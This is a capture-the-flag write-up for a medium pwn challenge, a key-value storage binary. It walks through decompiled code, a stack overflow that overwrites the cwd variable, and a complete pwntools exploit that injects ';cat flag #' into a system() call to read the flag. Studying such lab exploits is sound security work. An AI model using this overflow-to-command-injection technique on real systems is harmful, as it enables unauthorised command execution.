Storage
Storage
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-17 | Status: Solved Techniques: append_mode_payload_building, command_injection_via_system, cwd_overwrite, stack_buffer_overflow
Summary
Task: Binary pwn challenge with key-value storage service. Solution: Exploited buffer overflow in fgets() to overwrite getcwd() result on stack, then triggered command injection via system() call in list command using append mode to build payload across multiple writes.
Storage - spbctf
Description
Ыж закодил защищённое хранилище, цепляйтесь неткатом: nc 109.233.56.90 11051. Настоящий хардкорный бинарный пывн! Берите бинарь, получите выполнение команд на 109.233.56.90:11051, и прочитайте файл с флагом.
Files: task.elf (ELF 64-bit LSB PIE executable, x86-64, dynamically linked, not stripped)
Binary Properties:
- Arch: amd64-64-little
- RELRO: Partial RELRO
- Stack: Canary found
- NX: NX enabled
- PIE: PIE enabled
- Not stripped
- Imports: fopen, __stack_chk_fail, stdin, strtok, fgets, fputs, fclose, strcat, system, getcwd, sleep, strcmp
Analysis
Reverse Engineering
The binary is a key-value storage with 3 commands: load, store, list.
Decompiled pseudocode of main:
c read-only • copy allowedint main() { char cwd[0x40]; // rbp-0x90 char command[0x10]; // rbp-0xc0 char key[0x0e]; // rbp-0xce FILE *fp, *fp2; char filename[0x48]; // rbp-0x50 char value_buf[...]; // rbp-0xb0 (only ~32 bytes to cwd!) getcwd(cwd, 0x40); puts("Hello my deAr friend! This is key-value storage\nCommands: load, store, list"); while (1) { fgets(command, 0x10, stdin); strtok(command, "\n"); if (strcmp(command, "load") == 0) { puts("Enter key: "); fgets(key, 0x0e, stdin); strtok(key, "\n"); strtok(key, "."); // sanitization: removes dots // Build path: cwd + "/data/" + key filename[0] = '\0'; strcat(filename, cwd); strcat(filename, "/data/"); strcat(filename, key); fp = fopen(filename, "r"); if (fp == NULL) { puts("No such key :("); continue; } fgets(value_buf, 0x400, fp); // BUG: reads 1024 bytes into ~32-byte buffer! fclose(fp); puts(value_buf); } else if (strcmp(command, "store") == 0) { puts("Enter key: "); fgets(key, 0x0e, stdin); strtok(key, "\n"); strtok(key, "."); // Build path same way fp2 = fopen(filename, "a+"); // APPEND mode puts("Enter value: "); fgets(value_buf, 0x20, stdin); // max 32 bytes strtok(value_buf, "\n"); fputs(value_buf, fp2); fclose(fp2); puts("Stored!"); } else if (strcmp(command, "list") == 0) { // Build: "ls " + cwd + "/data/" filename[0] = '\0'; strcat(filename, "ls "); strcat(filename, cwd); strcat(filename, "/data/"); system(filename); // COMMAND EXECUTION with cwd! } else break; sleep(1); } }
Vulnerability: Buffer Overflow in load -> cwd overwrite -> Command Injection via list
Stack layout analysis:
value_bufis at address rbp-0xb0cwdis at address rbp-0x90- Distance: 0xb0 - 0x90 = 0x20 = 32 bytes
The load command reads up to 0x400 (1024) bytes from a file into value_buf, but cwd starts only 32 bytes after value_buf. This allows overwriting cwd with attacker-controlled data.
The list command uses cwd in system("ls " + cwd + "/data/"). If we overwrite cwd with ;cat flag #, the command becomes system("ls ;cat flag #/data/") - cat flag will execute, and the rest will be commented out.
Key insight: store uses append mode ("a+"), so we can call it multiple times to build a payload exceeding the 31-byte limit per single call.
Solution
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * HOST = '109.233.56.90' PORT = 11051 io = remote(HOST, PORT) io.recvuntil(b'list') key = b'y' # Step 1: Store 30 bytes of padding (first chunk) io.sendline(b'store') io.recvuntil(b'key:') io.sendline(key) io.recvuntil(b'value:') io.sendline(b'A' * 30) io.recvuntil(b'Stored!') # Step 2: Store 2 more bytes of padding + command injection (second chunk, appended) io.sendline(b'store') io.recvuntil(b'key:') io.sendline(key) io.recvuntil(b'value:') io.sendline(b'AA;cat flag #') io.recvuntil(b'Stored!') # Step 3: Load the file - triggers BOF, overwrites cwd with ";cat flag #" io.sendline(b'load') io.recvuntil(b'key:') io.sendline(key) sleep(2) # Step 4: List - executes system("ls ;cat flag #/data/") io.sendline(b'list') sleep(2) io.interactive()
Output
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;cat flag #
data flag task.elf
Yeeeaaah! Submit this: REDACTED
Key Techniques
- Buffer overflow in
fgets(value_buf, 0x400, fp)- reads 1024 bytes into a buffer adjacent tocwd(only 32 bytes between them) - Append mode abuse -
storeusesfopen("a+"), allowing multiple writes to build a payload exceeding the single write limit - Command injection via overwritten
cwd, used insystem("ls " + cwd + "/data/")- inject;cat flag #to execute arbitrary commands - Stack canary bypass - no need to overwrite the return address; the exploit only overwrites a local variable (
cwd) that is used insystem()
The flag name itself is a hint: "BOF as a way of thinking" (REDACTED).